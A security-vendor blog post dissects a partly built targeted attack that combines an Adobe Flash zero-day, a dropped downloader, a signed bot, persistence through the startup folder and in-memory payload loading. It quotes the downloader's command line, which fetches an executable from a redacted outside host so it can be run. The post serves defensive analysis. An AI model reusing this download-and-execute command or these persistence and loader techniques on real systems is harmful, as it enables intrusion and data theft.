Anatomy of a targeted attack – SophosLabs explores an Adobe zero-day “malware experiment”

Gabor Szappanos and Peter Szabo of SophosLabs recently took apart a targeted attack after being approached for assistance in an investigation.

The results were intriguing, to say the least.

They decided to share their findings…

The background

SophosLabs was contacted recently to help investigate malware from an unusual sort of targeted attack.

What we found was intriguing, to say the least.

This didn’t seem to be the aftermath of a successfully-completed intrusion.

It seems as though we jumped right into the middle of the development and testing phase of the project.

So we thought we’d share our discoveries with you.

(Where we’re vague about details, it’s because we can’t disclose them, for reasons we hope are obvious.)

What we found

We uncovered a targeted malware testbed, a zero-day vulnerability, and some digitally signed malware.

Unusually, however, the malware files were not using the anti-debugging and anti-anti-virus tricks that we have come to expect.

Quite the opposite, in fact: we found debug builds, with debug paths stored in each component. The debug pathnames seem to imply that the files are part of a classified operation.

Of course, a classified operation would be unlikely to make such a basic mistake; the strings are more likely to be a smokescreen to increase confusion.

What we discovered, therefore, appeared to be a testing rig operated by a criminal gang to field-test its latest creation.

Indeed, the digital signature used in our samples appears in some other malware, seen by the folks over at Kaspersky Labs in an attack using a different zero-day vulnerability.


We dug a little deeper…

The malware components

The attack started with a targeted email containing information that would entice the recipient to click a link.

That link led to a viper’s nest of malicious components, hosted on a server in Turkey. This stage of the attack aimed to take over your computer with an Adobe Flash exploit.

In the configuration that we saw, only the Firefox browser was targeted, and despite our efforts, we couldn’t get the attack to work without manual assistance – what malware researchers often call spoonfeeding.

Combined with all the other unusual characteristics of the malware, this suggests that the malware coders haven’t finished working on this particular attack yet.

Nevertheless, this didn’t prevent us from analyzing how it was supposed to work. It’s always handy to know what developments to expect from a cybercrime gang.

Greatly simplified, the attack unfolds like this.

First, a number of malicious files are dropped onto your computer:

  • A downloader program, packaged in a file called scode.dll dropped into a directory that’s part of your Flash installation, where Flash expects and looks for add-in code.
  • A shellcode file called scodeexp.txt. (This file is specific to the Windows XP platform.)
  • A shellcode file called scode.txt. (This is for computers not running XP.)

Sophos products detect these files as Troj/FSBSpy-A.

→ Russian readers may raise their eyes at the name FSBSpy, since the FSB is the Russian federal intelligence service. But the truth is a bit less exciting: the letters come from the name of a file mapping object inside the malware. The F almost certainly stands for File, not for Federalnaya.

The infection process

Then the fun starts:

  • The shellcode loads the scode.dll to take over the dirty work. (A DLL is really just an executable file in a special format.)
  • The DLL contains an embedded EXE file, which it drops into the temporary folder with the bogus name taskmgr.exe.
  • The DLL launches the newly-dropped taskmgr program with the command line dl http://www.[redacted]/​explorer.exe.

The bogus taskmgr executable isn’t particularly ambitious. It doesn’t check that the first parameter is dl, merely that there is one, and it doesn’t bother checking to see if its second parameter really is a URL.

It simply downloads whatever it can from the URL it was given, saving it into the temporary folder and launching it.

We’re still not done.

When the bogus explorer.exe runs, it copies itself to the startup folder, choosing the rather less dubious name IAStorIcon.exe.

Now, of course, you’re actively infected, and the infection is persistent. (That is a fancy way of saying that your malware survives between logins or reboots, rather than expiring at the end of the current user’s session.)

The downloader components were compiled in debug mode, so they contain references to PDB files. PDB stands for Program Database, which is where symbolic information about the program is stored.

You don’t usually ship debugging information with your software. Firstly, it gives away intimate information about its internals; secondly, it greatly increases the size of your shipping code.

→ The data in a PDB file means that if you’re debugging a program, and you need to peek at something stored in memory, the debugger will be able to tell you more than merely that you’re looking at memory location 0x00403296. The PDB provides an index back to the symbols, or variable names, used in the source code, so you’ll see that you’re looking at, say, TempName or aes_key.

The names of the PDB files are interesting:

C:\ClassifiedProjects\​ProjectDefense\​Firefox­Binary­Loaded­WithCertificate\​Loader­FirefoxSigned\​Loader­ReleaseFinalCERT.pdb (in the dropper DLL).

C:\Classified\​Investigations\​National­Security\​sco.pdb (in the dropper EXE).

As we mentioned above, the names are not merely suggestive of a classified security operation, but indeed overly suggestive.

It seems unlikely that such an operation would use such obvious filenames, so they’re probably just a smokescreen of sorts.

The malware itself, explorer.exe, is digitally signed with a valid certificate, or at least with a certificate that isn’t merely home made, and hasn’t expired.

Sophos products detect files signed with this certificate as Troj/FSBSpy-B, and SophosLabs telemetry indicates that there are at least three more related pieces of malware currently detected in the wild.

The purpose of the malware

The bogus explorer.exe program is zombie malware, better known as a bot.

It calls home to a single Command-and-Control (C&C) server using a fixed IP number that belongs to a hosting solution provider from the Netherlands.

The malware has three main functions:

  • It retrieves a basic system inventory.
  • It can be remotely commanded to take and upload screenshots.
  • It can be remotely commanded to download and run new malware.

Despite the simplicity of the bot’s C&C system, its handling of new malware downloads is quite sophisticated.

The downloaded malware programs never appear as files on disk, which makes them much tricker to spot.

The explorer.exe bot has a built-in program loader that constructs an executable software image directly in memory. This loader handles function imports, relocations and more, just like the operating system does when it loads a program from disk.

Once the new malware download has been built in an executable image in memory, it is called directly. No separate process or thread is created.

What the malware steals

FSBSpy-B starts by uploading a basic system inventory, including: CPU type, memory size, disk size, free disk space, Windows version, registration details, user information, timezone, SID and a list of installed applications.

Communications with the C&C server, including uploads and downloads, are encrypted using the AES algorithm; the encryption key is embedded into the bogus explorer.exe.

The malware also contains code to find files named *tmp in the temporary folder and upload them. However, this code is never used – a another indication that the malware is incomplete.

Lastly, the malware is full of debug messages. Indeed, if it is running from process ID 4 (the System process), it annotates its progress with a chatty sequence of alerts, such as I'm going to start the program, in pop-up message boxes.

The final word

The overall impression is of a work-in-progress consisting of a number of separate modules that don’t yet work together very well.

The programming shows a lot of clumsiness, but this is counterbalanced by by the fact that it features an in-memory plugin architecture and uses a previously unknown zero-day Flash exploit.

In short, it’s an interesting mix of professional work and amateur integration.